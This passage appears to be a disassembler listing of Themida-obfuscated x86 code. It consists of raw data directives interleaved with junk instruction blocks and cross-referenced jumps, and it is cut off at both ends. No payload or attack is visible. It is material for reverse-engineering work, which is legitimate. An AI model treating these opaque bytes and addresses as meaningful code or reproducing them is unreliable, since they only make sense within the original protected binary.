edi pop edi jmp loc_517990 ; --------------------------------------------------------------------------- db 1, 0E8h, 5 dd 22167539h, 83242C8Bh, 466804C4h, 0E900005Ch, 0FFFFE89Ch dd 4EC680h, 4EB551E6h, 282EC680h, 2EEE80EEh, 4EC8159h dd 0E9000000h, 0FFFFDFEFh, 4EC815Bh, 89000000h, 7CB82404h dd 0C13FEA7Eh, 6DE905E0h, 55000035h, 2BDh, 0E9E92900h dd 5E0Dh, 2434FF59h, 4C4815Eh, 83000000h, 1C3302C3h, 241C3124h dd 8B241C33h, 8B662424h, 89572404h, 0E2E955E7h, 0E900008Fh dd 0FFFF6E28h, 35ADB951h, 0CB2937F1h, 0A6A0E959h, 46350000h dd 2D49E41Fh, 22204523h, 48BC129h, 4C48124h, 0E9000000h dd 6067h ; --------------------------------------------------------------------------- loc_51890C: ; CODE XREF: Themida_:00524D4Dj mov esi, ecx pop ecx sub esi, 69C5B912h sub edx, esi mov esi, [esp] add esp, 4 add edx, 58533EDBh jmp loc_50F70C ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4BF5700h, 1000000h, 0E9555FFDh, 5F02h, 0E9240C33h dd 94E1h, 8512E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51894E: ; CODE XREF: Themida_:0051F783j mov [esp], edx jmp loc_50F70C ; --------------------------------------------------------------------------- dw 0BE56h dd 3FE94B1Eh, 0FF8009E9h, 0BBF781FFh, 29325E3Dh, 0BF575FFBh dd 177F05D2h, 0FFB0F0E9h, 5DEA29FFh, 0C281F201h, 7F7E53B2h dd 6626C281h, 62E9034Dh, 68FFFFA2h, 7FE7h, 0C083E9h, 0C0C8FE00h dd 0D52C05E0h, 0ADE8E9h, 0E9545000h, 2486h, 33243431h dd 248B2434h, 2D206824h, 38E90000h, 0BB000006h, 5341B88h dd 35AE381h, 0EBD13B64h, 8103EBC1h, 5B3C6EEBh, 0BC46E958h dd 0F705FFFFh, 0E9417C45h, 0C426h, 24348B59h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0DAE92414h, 66FFFFCCh, 0B9B551h dd 6602246Ch, 2AC7E959h, 4D680000h, 8900006Eh, 38BE2434h dd 810E6865h, 23FA2EBh, 2BB85010h, 0C15A084Bh, 0D8F708E8h dd 0F740D8F7h, 972D40D0h, 29BD78A6h, 0F32958C3h, 9728E9h dd 240C8900h, 45E917B1h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_518A47: ; CODE XREF: Themida_:00511076j ; Themida_:00519E58j push 341Ah mov [esp], esi push ecx push esi mov esi, esp push edx mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_51BED9 ; --------------------------------------------------------------------------- db 53h dd 2BBh, 8BDD0100h, 0C483241Ch, 4EC8104h, 89000000h, 74FF242Ch dd 2C8B0424h, 0E0895024h, 405h, 277DE900h, 0E2800000h dd 2BF28008h, 5E01E9h db 0 ; --------------------------------------------------------------------------- loc_518AA9: ; CODE XREF: Themida_:0051A5D6j mov ebx, eax pop eax push ebx jmp loc_51F411 ; --------------------------------------------------------------------------- dw 0EA81h dd 895CE578h, 0FFBBF1E9h, 68DFBAFFh, 6853635Ch, 19102B94h dd 34F3815Bh, 0F7443D79h, 0C0E2E9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518AD6: ; CODE XREF: Themida_:0051AB75j add dword ptr [esp], 4 pop eax jmp loc_510C5D ; --------------------------------------------------------------------------- loc_518AE3: ; CODE XREF: Themida_:0051280Bj pop esp pop dword ptr [esp] jmp loc_5117F8 ; --------------------------------------------------------------------------- dd 0D3885866h, 0B450665Ah, 66E320FCh, 0FEF38658h, 68F386C6h dd 6484h, 0FFDF9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_518B09: ; CODE XREF: Themida_:0051D0F0j push esi mov esi, 5D2878A6h jmp loc_5152FA ; --------------------------------------------------------------------------- loc_518B14: ; CODE XREF: Themida_:005226E2j mov esp, [esp] push 2F6Bh jmp loc_520EAC ; --------------------------------------------------------------------------- loc_518B21: ; CODE XREF: Themida_:005213DDj add ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] jmp loc_515806 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 0FFFF6BCCh, 0A128E95Ah, 0F3BE0000h dd 0E91ACB2Fh, 0B401h, 52BFBA52h, 0E2C1635Fh, 9B5DE903h dd 295E0000h, 7EA81FAh, 5F12FB1Bh, 8950C201h, 405E0h, 65E90000h dd 1FFFFC6h, 1FEE81CEh, 59258A2Eh, 0C595E956h, 305AFFFFh dd 95C4E9FCh, 2C89FFFFh, 0CE95024h, 1000068h, 3C8758C7h dd 24248B24h, 0FF6B67E9h db 0FFh ; --------------------------------------------------------------------------- loc_518BA5: ; CODE XREF: Themida_:00520B67j mov edx, 4 add ecx, edx pop edx push edi mov edi, 4 sub esp, 4 jmp loc_511F1A ; --------------------------------------------------------------------------- db 81h dd 791377C5h, 0E9EB0153h, 13A7h, 0E924248Bh, 0FFFF8CF0h dd 56242C89h, 0A02550BEh, 0D413E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518BDE: ; CODE XREF: Themida_:005109F5j mov eax, [esp] add esp, 4 sub ecx, 7FCA3AA1h and eax, ecx jmp loc_5177F7 ; --------------------------------------------------------------------------- loc_518BF1: ; CODE XREF: Themida_:00515E5Cj mov edi, [esp] add esp, 4 sub ebx, ecx jmp loc_523CE3 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 5786h, 4C481h, 0C7810000h, 4, 8904EC83h dd 268241Ch, 5B000000h, 3A01BB53h, 0DF013BCEh, 83241C8Bh dd 1E904C4h, 5000002Fh, 4B8h, 58C58900h, 4CE9EA29h, 0C100009Bh dd 440505E0h, 0E9748F35h, 0C167h, 9B5DBEBFh, 98C78157h dd 51A8D2E2h, 47E95153h, 83000089h, 586802C7h, 8900000Ah dd 74FF243Ch, 8F5F0424h, 0A2E92404h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518C7F: ; CODE XREF: Themida_:005212D3j add ebx, 35666CA2h pop eax jmp loc_514CC9 ; --------------------------------------------------------------------------- db 81h dd 9E5D83EEh, 0B00DE979h, 0E952FFFFh, 0FFFFA248h ; --------------------------------------------------------------------------- loc_518C9C: ; CODE XREF: Themida_:005105DFj add [esp+4], ecx pop ecx mov edx, [esp] add esp, 4 sub edx, 0D5B1187h jmp loc_52365E ; --------------------------------------------------------------------------- dw 0BA05h dd 8129152Bh, 4ECh, 242C8900h, 2E4B3CBDh, 81D5F70Fh, 68CD7EF5h dd 5DE801B0h, 0CBE9D801h, 54FFFF95h, 0E9505059h, 42E3h dd 7AC8E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518CE6: ; CODE XREF: Themida_:0051084Bj add edx, 30740C9h add edi, edx pop edx xchg edi, [esp] jmp loc_521BA6 ; --------------------------------------------------------------------------- db 81h dd 42D1AEEh, 0BE93E958h, 34FF0000h, 0C4835F24h, 0E291E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518D0E: ; CODE XREF: Themida_:0051B78Aj push ecx mov ecx, 18061B5Ch inc ecx not ecx jmp loc_510603 ; --------------------------------------------------------------------------- loc_518D1C: ; CODE XREF: Themida_:0051E8F0j pop eax pop ebx neg ecx jmp loc_515265 ; --------------------------------------------------------------------------- db 56h, 0BEh, 5Eh dd 0F7583062h, 75F681DEh, 81365240h, 0D720D5C6h, 68E95719h dd 89FFFFDEh, 0C2E6E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518D46: ; CODE XREF: Themida_:00516F81j push 673Fh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 push 7EAFh jmp loc_5193B0 ; --------------------------------------------------------------------------- loc_518D6D: ; CODE XREF: Themida_:00514BF3j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5151ED ; --------------------------------------------------------------------------- db 28h dd 0FF2B04E8h, 0C8B2434h, 0E7895724h, 92A0E950h, 4050000h dd 52000000h, 15E36853h, 1C8B44A3h, 4FC4E924h, 0B85A0000h dd 0F261DC90h, 652E3D2Dh, 5D80125h, 25652E3Dh, 0EE9405Bh dd 570000B7h, 0A729F3BFh, 5FF92906h, 0CEE98149h, 8142382Ah dd 0BC53B4C1h, 0B7C38148h, 13A666Fh, 0B7EB81CBh, 593A666Fh dd 5C241C87h, 24042166h, 0B1D5E99Ch, 0C4810000h, 4, 8B1C4721h dd 89562404h, 4C681E6h, 0E9000000h, 61F9h, 52240C89h, 4BAh dd 0E9D18900h, 0FFFFFD28h ; --------------------------------------------------------------------------- loc_518E18: ; CODE XREF: Themida_:005249A4j mov edi, 52B37673h push esi mov esi, 508B3101h neg esi not esi dec esi neg esi xor esi, 98EC8395h and edi, esi jmp loc_523ADB ; --------------------------------------------------------------------------- db 81h dd 180B3862h, 428179F7h, 5E7AAB38h, 9FC688Dh, 30E90000h dd 8FFFFFD7h, 0B8502404h, 4, 4244401h, 2434FF58h, 5024148Bh dd 0AE95854h, 66FFFFAAh, 5124148Bh, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0D3E92404h, 880000A8h, 0D2E95BDCh, 100009Bh dd 0BDE957C1h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518E97: ; CODE XREF: Themida_:005172FCj push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_513FFA ; --------------------------------------------------------------------------- dd 0C2BA5257h, 810A440Ah, 0BBF53DC2h, 5AD789F5h, 15FFB89h dd 9F1CE9DDh, 5066FFFFh, 3D8CE9h, 4C68100h, 81000000h dd 4C6h, 24348700h, 5E6C15Ch, 0FF83D9E9h, 80CBFEFFh, 0EB8056CBh dd 74ACE964h, 0DAF7FFFFh, 76CEA81h, 5BE9487Dh, 0B90000B8h dd 6A4F3BD4h, 7E9C149h, 38ADC981h, 0F1810E13h, 60C3DA67h dd 77F6E9h, 80BEB300h, 0DBF6DCCBh, 2029C380h, 0EE805BDEh dd 5AF30022h, 29B1E9h, 4E5C100h, 0E903E5C1h, 0D8Ah, 241C8966h dd 50A2B151h, 1CE911B4h, 8900000Ah, 0E954240Ch, 0B4B4h ; --------------------------------------------------------------------------- loc_518F50: ; CODE XREF: Themida_:00516D8Dj mov eax, 208B1A30h add ebx, eax jmp loc_50FB0B ; --------------------------------------------------------------------------- dd 8083EB80h, 94E9F4C3h, 81000094h, 4C4h, 0BBE95200h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518F73: ; CODE XREF: Themida_:00516D7Fj mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push 453Fh mov [esp], edi push esi jmp loc_5180AA ; --------------------------------------------------------------------------- loc_518F96: ; CODE XREF: Themida_:005122F6j sub eax, 4 xchg eax, [esp] jmp loc_510C7F ; --------------------------------------------------------------------------- loc_518FA3: ; CODE XREF: Themida_:00513BAFj mov dh, 87h xor dh, 98h xor dh, 0C7h sub bl, dh jmp loc_5212A6 ; --------------------------------------------------------------------------- dw 0F66h dd 15E902B6h, 81000048h, 74B5B8F2h, 5F85057Ch, 44E970C8h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518FCB: ; CODE XREF: Themida_:00517984j sub ecx, 0B06A175Ch xor ebp, ecx pop ecx jmp loc_517749 ; --------------------------------------------------------------------------- db 83h, 0C3h, 1 dd 2D97E381h, 0C381355Ah, 40FD6CC4h, 6639C381h, 46E989B8h dd 89FFFFE6h, 5168241Ch, 8900005Ch, 4812424h, 424h, 1BE95B00h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51900B: ; CODE XREF: Themida_:00514266j mov ecx, 7C1C39AEh jmp loc_52230A ; --------------------------------------------------------------------------- db 55h, 53h, 0BBh dd 0FCD7A01h, 0B6B198BDh, 5BDD013Ch, 5C23E9h db 0 ; --------------------------------------------------------------------------- loc_519029: ; CODE XREF: Themida_:00511CF9j add esp, 4 jmp loc_51B2F8 ; --------------------------------------------------------------------------- aRwpVSX db 'RWP¸‚',7,7,'(é]•',0 align 2 dw 34FFh dd 0C4815F24h, 4, 2461BB2Dh, 68E82975h, 7B68h, 0E9241C89h dd 6DE6h, 0DBB4E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519062: ; CODE XREF: Themida_:00521CC3j add esp, 4 push 597Ah jmp loc_524E38 ; --------------------------------------------------------------------------- db 53h dd 525E9h, 15EF8100h, 81CE2420h, 6D074DEBh, 81FB0109h dd 6D074DC3h, 86E95F09h, 0FFFFFFFFh, 75E92C77h, 66FFFF66h dd 6605AE68h, 66240C89h, 66C8B60Fh, 61E99C51h, 68FFFF66h dd 0D44756Eh, 5EDC15Dh, 0E906E5C1h, 151Fh, 0E958C501h dd 2024h, 102CB951h, 0CB291903h, 81F30159h, 3102CC3h, 2434FF19h dd 4C4835Eh, 0FFA66FE9h, 0DFC281FFh, 0E92C0827h, 3AF8h dd 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 0DF045C24h dd 0DF2CF828h, 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 24248B24h, 239A68h, 241C8900h, 685193B7h, 6072h, 52240489h dd 0D0885AB2h, 2C94345Ah, 0C0D0F620h, 360407E8h, 5258C588h dd 6AB9E9h, 2434FF00h, 8124048Bh, 4ECh, 242C8900h, 4EC81h dd 24890000h, 7783E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519166: ; CODE XREF: Themida_:0051BCECj mov esi, 4 add ecx, esi mov esi, [esp] push 39B3h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_519938 ; --------------------------------------------------------------------------- dw 0F235h dd 558A46A6h, 6E1427BDh, 6ABAE96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51919E: ; CODE XREF: Themida_:00518649j pop ecx push esi jmp loc_5240C2 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4147F9B8h, 24448164h, 0D4589204h, 0EE3BE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5191BA: ; CODE XREF: Themida_:0051CC34j mov [esp], esi mov esi, 35CC6F63h add esi, 0FFFFFFFFh jmp loc_520253 ; --------------------------------------------------------------------------- loc_5191CA: ; CODE XREF: Themida_:00516292j add ebx, 0CF0172E2h add ebp, ebx pop ebx sub ebp, 4 jmp loc_520CC6 ; --------------------------------------------------------------------------- loc_5191DE: ; CODE XREF: Themida_:00513775j push eax mov eax, 63B853F3h xor eax, 24685B88h add eax, 7FD847E4h inc eax dec eax shl eax, 2 add eax, 0E15EBE88h add ecx, eax pop eax push ebx jmp loc_51472E ; --------------------------------------------------------------------------- db 81h, 0C7h, 92h dd 8B7A2A6Fh, 0C483242Ch, 5514E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519212: ; CODE XREF: Themida_:00523AD6j xchg ebp, [esp] pop esp jmp loc_5124FC ; --------------------------------------------------------------------------- db 5Ah dd 8124148Bh, 4C4h, 4E686600h, 5946E926h, 0D8F70000h, 0DE0D148h dd 38552AF0h, 2D04E0C1h, 8C52AE5Eh, 48BC121h, 4C48324h dd 828F181h, 0E1815444h, 509C7197h, 0E9E78957h, 0FFFF8476h dd 5966EE08h, 0FF9234E9h db 0FFh ; --------------------------------------------------------------------------- loc_519265: ; CODE XREF: Themida_:005242D9j mov ecx, 5CF64399h jmp loc_51D0EB ; --------------------------------------------------------------------------- loc_51926F: ; CODE XREF: Themida_:0051A804j add bx, bp add bx, 3B5h mov bp, [esp] add esp, 2 jmp loc_51CDC0 ; --------------------------------------------------------------------------- loc_519286: ; CODE XREF: Themida_:00512C91j mov [esp], edi mov edi, 0C741DEFCh add eax, 52182374h add eax, edi jmp loc_5214F4 ; --------------------------------------------------------------------------- loc_51929A: ; CODE XREF: Themida_:00511F27j push ebp jmp loc_512329 ; --------------------------------------------------------------------------- loc_5192A0: ; CODE XREF: Themida_:00522500j push dword ptr [esp] jmp loc_5138F1 ; --------------------------------------------------------------------------- dd 8953575Dh, 4C381E3h, 81000000h, 4EBh, 241C8700h, 0FFC2CCE9h dd 43DBF7FFh, 0E3C1D3F7h, 1EB8104h, 50000000h, 3209E8B8h dd 58C32913h, 895BD831h, 24048BC7h, 4C481h, 0FAE90000h dd 83FFFFD3h, 7CE904ECh db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5192F3: ; CODE XREF: Themida_:0051242Ej sub esi, edx jmp loc_51A144 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 5A000000h, 31242C33h, 0BAE9242Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51930F: ; CODE XREF: Themida_:0051560Dj push eax mov eax, 78943E22h jmp loc_513549 ; --------------------------------------------------------------------------- dw 0EF89h dd 0E9FD895Dh, 0FFFF77ECh, 1489665Ch, 9C506624h, 0FF63DBE9h dd 34FF5CFFh, 982FE924h, 74310000h, 5D5E0424h, 68E7F581h dd 5F5E733Ch, 0B311E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51934E: ; CODE XREF: Themida_:00515C43j add esp, 4 push ecx push dword ptr [esp] jmp loc_52130B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF63A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_519365: ; CODE XREF: Themida_:00515897j pop eax sub ebx, 4A0C0684h sub esp, 4 mov [esp], ecx mov ecx, ebx mov eax, ecx pop ecx mov ebx, [esp] add esp, 4 add eax, edi push dword ptr [eax] push dword ptr [esp] pop ecx add esp, 4 mov eax, [esp] add esp, 4 push edi push 1CFDh mov [esp], edx jmp loc_51576F ; --------------------------------------------------------------------------- loc_5193A2: ; CODE XREF: Themida_:00511749j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_516963 ; --------------------------------------------------------------------------- loc_5193B0: ; CODE XREF: Themida_:00518D68j mov [esp], ebp push edx mov edx, 35C216EFh mov ebp, edx pop edx shl ebp, 1 not ebp xchg ebx, ebp push ebx jmp loc_51E2DC ; --------------------------------------------------------------------------- dd 33240431h, 248B2404h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 5DD9E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5193E6: ; CODE XREF: Themida_:005109E3j shl edx, 1 push eax jmp loc_520230 ; --------------------------------------------------------------------------- dw 0FF5Bh a4Sh db '4$éH`',0 dw 0F600h dd 0FECAFEDAh, 2E2C0C2h, 9BEA80h, 80FDE9D0h, 0EC830000h dd 24148904h, 0A1E943B6h, 5A000031h, 205h, 0B6CCE900h dd 0EE810000h, 2E235C1Bh, 70DE681h, 43E9687Fh, 0F700003Eh dd 0C58145DDh, 0C8C7549h, 55DEF01h, 7FF92025h, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 0FFEFD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_519459: ; CODE XREF: Themida_:00512629j add esi, 4 jmp loc_515E9B ; --------------------------------------------------------------------------- dd 62DAED81h, 0ED816CDDh, 4D902396h, 0C581D501h, 4D902396h dd 166AE9h db 0 ; --------------------------------------------------------------------------- loc_51947D: ; CODE XREF: Themida_:00516BCBj dec esi add esi, 6A3E2A05h add esi, 9DE60A24h jmp loc_51A645 ; --------------------------------------------------------------------------- db 29h dd 0C1EE81C6h, 8115E109h, 0AC3C0DEEh, 0B2E95857h, 57FFFFBFh dd 1401E8BFh, 2EEF8130h, 504C1248h, 3AD8E9h db 0 ; --------------------------------------------------------------------------- loc_5194B5: ; CODE XREF: Themida_:0051AE29j pop edx push edx jmp loc_521749 ; --------------------------------------------------------------------------- dd 40BB605h, 2DC8017Ah, 7A040BB6h, 22D59h, 89500000h, 405E0h dd 42D0000h, 87000000h, 0E95C2404h, 0FFFF8FADh, 0EF31FD31h dd 0C581FD31h, 1E551D67h, 2C8BE889h, 8A9BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5194FA: ; CODE XREF: Themida_:00515E75j mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_51AE53 ; --------------------------------------------------------------------------- db 5Fh dd 5C24048Fh, 0FF7C85E9h, 5E089FFh, 4, 8702E883h, 665C2404h dd 57240C89h, 38C68h, 98BDE900h, 48B0000h, 9DD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519536: ; CODE XREF: Themida_:00514191j mov ebx, 15DD7F2Fh dec ebx neg ebx sub ebx, 0EA2280D1h mov edx, ebx pop ebx sub esp, 4 mov [esp], eax mov eax, 0 sub eax, 7864F60h add eax, ecx add eax, 7864F60h push ecx jmp loc_512362 ; --------------------------------------------------------------------------- loc_519567: ; CODE XREF: Themida_:00522590j mov ecx, 6275D89h jmp loc_51012D ; --------------------------------------------------------------------------- loc_519571: ; CODE XREF: Themida_:0051EA4Dj xchg ebp, [esp] pop esp add ecx, 2 jmp loc_50FC58 ; --------------------------------------------------------------------------- dd 4553BA52h, 0E2C10EC7h, 81EAD104h, 561BA4EAh, 5AD0894Dh dd 0A3F7E940h, 0E8BBFFFFh, 9316A5Eh, 0E957E9DDh, 78BEFFFFh dd 8107C94Dh, 3445F9E6h, 4697687Fh, 2C890000h, 0E9535724h dd 55A1h ; --------------------------------------------------------------------------- loc_5195C0: ; CODE XREF: Themida_:0051FACBj mov esi, 6B57297Dh sub esi, 609666DFh not esi inc esi not esi sub esi, 9D3B5538h add ebx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] jmp loc_51331E ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0E95A0000h, 0FFFFB70Bh, 0C330D82Ch, 1C14E9h dd 0FAB95100h, 21697C10h, 0E0C159C8h, 41B53503h, 0B12D405Fh dd 81035F42h, 0BF6FFFEAh, 0B6F2E922h, 0E950FFFFh, 32A6h dd 89FD8955h, 0FF5D306Ah, 835F2434h, 348904ECh, 525E5424h dd 831F9FBAh, 5FE95264h, 81FFFF77h, 9F757DEBh, 3E3C122h dd 0E903EBC1h, 0FFFFAECEh, 2434875Fh, 0EC83FD5Ch, 24148904h dd 6F7DE9h db 0 ; --------------------------------------------------------------------------- loc_519669: ; CODE XREF: Themida_:0051167Ej not cl jmp loc_51AC90 ; --------------------------------------------------------------------------- loc_519670: ; CODE XREF: Themida_:005157DAj mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_511E00 ; --------------------------------------------------------------------------- loc_51967D: ; CODE XREF: Themida_:0051121Cj dec edi jmp loc_5216B7 ; --------------------------------------------------------------------------- db 81h dd 0DC4AC7E6h, 2E6C119h, 6516C681h, 0C781E9B0h, 34575315h dd 0EF81F729h, 34575315h, 0E924348Bh, 0FFFF9D3Ah, 4C6815Bh dd 33000000h, 0F1E92434h, 81FFFFF2h, 0A83FA6EBh, 93C38133h dd 0E9196C35h, 0FFFFCDC9h ; --------------------------------------------------------------------------- loc_5196C8: ; CODE XREF: Themida_:00515F3Dj mov eax, esp add eax, 4 push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_514B8C ; --------------------------------------------------------------------------- dw 0BA52h dd 0A8C206Bh, 73DF99BDh, 5AD501F5h, 3EC8EE81h, 0EE293506h dd 3EC8C681h, 35E93506h, 87FFFF7Eh, 0E95C241Ch, 0FFFF5FFCh dd 3631B6BBh, 2D77B91Eh, 0D9313DB7h, 4ACDE95Bh, 34330000h dd 24343124h, 5C243433h, 0E9242489h, 0FFFF9B0Fh ; --------------------------------------------------------------------------- loc_519734: ; CODE XREF: Themida_:00511C92j add ecx, edi jmp loc_51044C ; --------------------------------------------------------------------------- db 0C0h dd 536604ECh, 0F4E9E388h, 83000082h, 2C8702C5h, 81E5E924h dd 2C890000h, 5A545224h, 1DE9E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51975E: ; CODE XREF: Themida_:00519F9Fj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push eax push ebx push 0BECh mov [esp], eax jmp loc_516E9F ; --------------------------------------------------------------------------- loc_519777: ; CODE XREF: Themida_:00510395j xor ebx, ebp pop ebp jmp loc_51B86D ; --------------------------------------------------------------------------- db 0F7h dd 5EFC1D7h, 43B9514Fh, 0E95A512Fh, 0FFFFDC32h, 0CB89C189h dd 0FFB3AAE9h, 240C87FFh, 0E924248Bh, 0C9Fh, 77DBC681h dd 18E920A0h, 5CFFFF68h, 4EC81h, 26E90000h, 87FFFF74h dd 895C240Ch, 69E92404h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5197C7: ; CODE XREF: Themida_:0050FE93j pop edi jmp loc_514F34 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 87000000h, 5D5C240Ch, 2EB81h, 1C870000h, 24248B24h dd 240C8966h, 0FF5F1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5197ED: ; CODE XREF: Themida_:0050FE37j add ebp, 4 jmp loc_5239EC ; --------------------------------------------------------------------------- dd 582434FFh, 74BEE953h, 3C8B0000h, 59545124h, 4C181h dd 0C1810000h, 4, 4C88E9h db 0 ; --------------------------------------------------------------------------- loc_519819: ; CODE XREF: Themida_:00511234j push edx push edi mov edi, 27CF6CADh push ebx mov ebx, 27991A43h add ebx, 0DEBE381Ch add edi, ebx pop ebx add edi, 0D1D940F8h mov edx, edi pop edi add esi, edx pop edx xchg esi, [esp] mov esp, [esp] sub ebp, 3FCA155Dh push 3756h mov [esp], ebp push edi push 44392B03h jmp loc_51F5E9 ; --------------------------------------------------------------------------- dw 0F787h dd 0F787D6F7h, 1DE3C781h, 0C78152D6h, 8D7DB04Dh, 0E95FFE89h dd 7B8h, 468h, 736BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51987E: ; CODE XREF: Themida_:005106B4j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi mov esi, 170C12E5h push ebp mov ebp, 79F5382Fh add ebp, 1 jmp loc_513697 ; --------------------------------------------------------------------------- loc_5198A2: ; CODE XREF: Themida_:0051B451j push edi mov edi, 1BE02FB9h jmp loc_51E203 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0A6E90000h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5198BB: ; CODE XREF: Themida_:0051B472j push ebx mov ebx, esp add ebx, 4 jmp loc_514FDD ; --------------------------------------------------------------------------- db 0BEh, 5Fh, 0Ah dd 6FBF3280h, 318B1AF1h, 681DE9F7h, 0C601FFFFh, 0FFF3AAE9h dd 0D8305CFFh, 241C8B66h, 5102C483h, 2434FF54h, 81240C8Bh dd 4C4h, 4C48100h, 68000000h, 77D9h, 0B8240489h, 5B645283h dd 12Dh, 40D8F700h, 9BAD7B35h, 8BC101A4h, 0C4832404h, 2E98104h dd 33000000h, 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFFF600h ; --------------------------------------------------------------------------- loc_519938: ; CODE XREF: Themida_:00519189j pop esp push 7492h mov [esp], eax mov eax, 530A21E5h jmp loc_522402 ; --------------------------------------------------------------------------- loc_51994B: ; CODE XREF: Themida_:00511375j movzx cx, al push cx pushf jmp loc_50F70C ; --------------------------------------------------------------------------- db 0BBh dd 707A394Fh, 1AE9D809h, 0B3FFFFBEh, 58E32861h, 39E9CB28h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51996F: ; CODE XREF: Themida_:005156F6j mov esp, [esp] or ebx, ebx jnz loc_511C75 sub esp, 4 mov [esp], edx push eax jmp loc_51B1E1 ; --------------------------------------------------------------------------- db 88h, 0C1h, 0FFh dd 34FF2434h, 89575824h, 4C781E7h, 0E9000000h, 0FFFF71A1h dd 8324348Bh, 0EB8104C4h, 274A09AEh, 0C381C329h, 274A09AEh dd 8124048Bh, 4C4h, 30FF6600h, 0FF5D47E9h db 0FFh ; --------------------------------------------------------------------------- loc_5199C5: ; CODE XREF: Themida_:00521DD2j push esi push esp pop esi jmp loc_516A3F ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E904EC83h, 1D2Eh, 148BD000h, 4C48124h, 68000000h, 3119h dd 51241C89h, 8904EC83h, 0B3532414h, 29B278h, 0F3E95BDAh dd 0BD000063h, 0 dd 0EE89F529h, 0E9D6F75Dh, 0B3BFh ; --------------------------------------------------------------------------- loc_519A10: ; CODE XREF: Themida_:005128A3j mov dx, [esp] jmp loc_51BFDF ; --------------------------------------------------------------------------- db 35h, 5Ah, 3Dh dd 3A354F91h, 0E90E4D89h, 5DCFh, 0F2EE80h, 5711E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519A32: ; CODE XREF: Themida_:0051BE7Aj mov ebx, [esp] add esp, 4 push 30D3h mov [esp], ecx mov ecx, 1933EED3h add eax, 21CD2ECEh add eax, ecx sub eax, 21CD2ECEh jmp loc_516231 ; --------------------------------------------------------------------------- dw 0C688h dd 8B2434FFh, 0C4832404h, 59545104h, 4C181h, 0C1810000h dd 4, 5C240C87h, 0FF9EF7E9h, 24248BFFh, 0BB241C89h, 2DF70EF4h dd 0E957D3F7h, 1632h, 4C481h, 2C330000h, 242C3124h, 8B242C33h dd 34FF2424h, 240C8B24h, 4C481h, 0E9510000h, 6F2Ah, 240C8B66h dd 0E9E78957h, 47Ch, 3975F581h, 8145098Fh, 0E10F4E5h, 0DEF58131h dd 2D44762Ch, 368E39EFh, 0EF05E801h, 5D368E39h, 27F2E9h dd 0F5814500h, 1FE3384Dh, 15DEF01h, 0B27EE9FDh, 0C083FFFFh dd 24048704h, 0FF6403E9h, 242C89FFh, 0E698F668h, 2434FF1Ch dd 3AFE95Dh, 81B80000h, 0E98C0E8Dh, 